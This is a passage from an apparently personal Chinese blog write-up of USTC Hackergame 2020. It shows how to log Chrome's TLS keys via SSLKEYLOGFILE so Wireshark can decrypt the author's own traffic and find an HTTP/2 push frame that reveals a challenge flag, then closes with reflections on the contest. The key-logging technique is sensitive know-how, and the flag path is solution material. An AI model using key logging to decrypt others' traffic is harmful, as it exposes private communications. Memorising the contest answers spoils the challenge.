「我们已经向您 推送(PUSH) 了最新的 Secret ,但是你可能无法直接看到它」。现在我们知道了,这道题和 HTTP/2 Server Push 有关。解码 HTTP/2 帧最好的方法自然是使用 Wireshark。首先我们要让 Wireshark 能够解密 HTTPS 内容,最简单的方法是使用 SSLKEYLOGFILE 环境变量。

警告!使用 SSLKEYLOGFILE 环境变量非常危险,任何获取该变量的软件都可以随意解密你的 HTTPS 流量!因此,务必仅针对某一需要解密流量的软件、在某一次性 Session 下设置该环境变量!

打开 Chrome,在 chrome://version/ 中查看可执行文件路径:

然后在终端中通过预设环境变量直接启动 Chrome:

SSLKEYLOGFILE="/path/to/ssllog.txt" "/Applications/Google Chrome.app/Contents/macOS/Google Chrome"

启动 Wireshark 偏好设置中找到 Protocol - TLS、配置 (Pre)-Master-Secret log filename:

现在,再通过启动的 Chrome 访问「Smart Proxy!」,可以看到 Wireshark 完整解密了 Chrome 的所有 HTTPS 流量。在 Wireshark 中使用下述过滤器找出本题的流量:

ip.addr == 146.56.228.227

在过滤后的流量中我们很快就可以找到 PUSH_PROMISE 帧、告诉了我们如何获得 secret 和第一个 flag:GET /ebe087a0-68e5-4280-b605-b98b89488e1e

获得第一个 flag 后,我们可以在终端中 Ctrl + C 关闭 Chrome。之后从 Dock、桌面、Finder、Spotlight 等方法「正常启动」Chrome 是不会再将 TLS 握手的信息输出到 SSLKEYLOGFILE 的。

尾声

今年的 USTC Hackergame 对我来说运气的成分远高于能力的成分,不少题目都是侥幸做出来的,而且对 binarymath 一窍不通的我这两类题几乎一道题都没做出来;比赛期间甚至收到了主办方邀请提交「非官方题解」,受宠若惊(狐狐暗自高兴);最后拿到了 3250 分,排名侥幸挤进了前 50、与真正的 CS 大佬和 CTF 师傅们在榜上合影,瑟瑟发抖(非常害怕)。

没有对比就没有伤害,相比 两周前 Bilibili 的「1024 程序员节 CTF」,USTC Hackergame 不论是在难度梯度分布、题目水平、趣味性、活动整体质量上都远高一个层次。引用组委会成员「Zihan Zheng」在知乎「参加中国科学技术大学第六届信息安全大赛(Hackergame 2019)是怎样一种体验?」提问中的回答:

我们举办的 Hackergame 的初衷就是对新人友好,增加趣味性,强调教育意义。我看到有些同学反馈说题目偏简单、逆向题偏少等等,我想强调,我们这个比赛虽然是提交 flag 的形式,但不是 CTF 比赛,不会与国内外的 CTF 比赛对标。我们会把这个特色坚持下去,希望大家不要从经验丰富的 CTF 选手视角来评价我们的比赛。

如果说 Hackergame 的初衷是「对新人友好,增加趣味性,强调教育意义」,IMHO 不论是 往届 还是今年的比赛都完美达成了这一点;毫无疑问地,明年的比赛我依然会参加。最后当然是要在「尾声」中喊一句口号:

「我有一个绝妙的解法,可惜我号太少,说不出来」

USTC Hackergame 2020(中科大信安赛)write up
本文作者
Sukka
发布于
2020-11-07
许可协议
转载或引用本文时请遵守许可协议,注明出处、不得用于商业用途!
如果你喜欢我的文章,或者我的文章有帮到你,可以考虑一下打赏作者
评论加载中...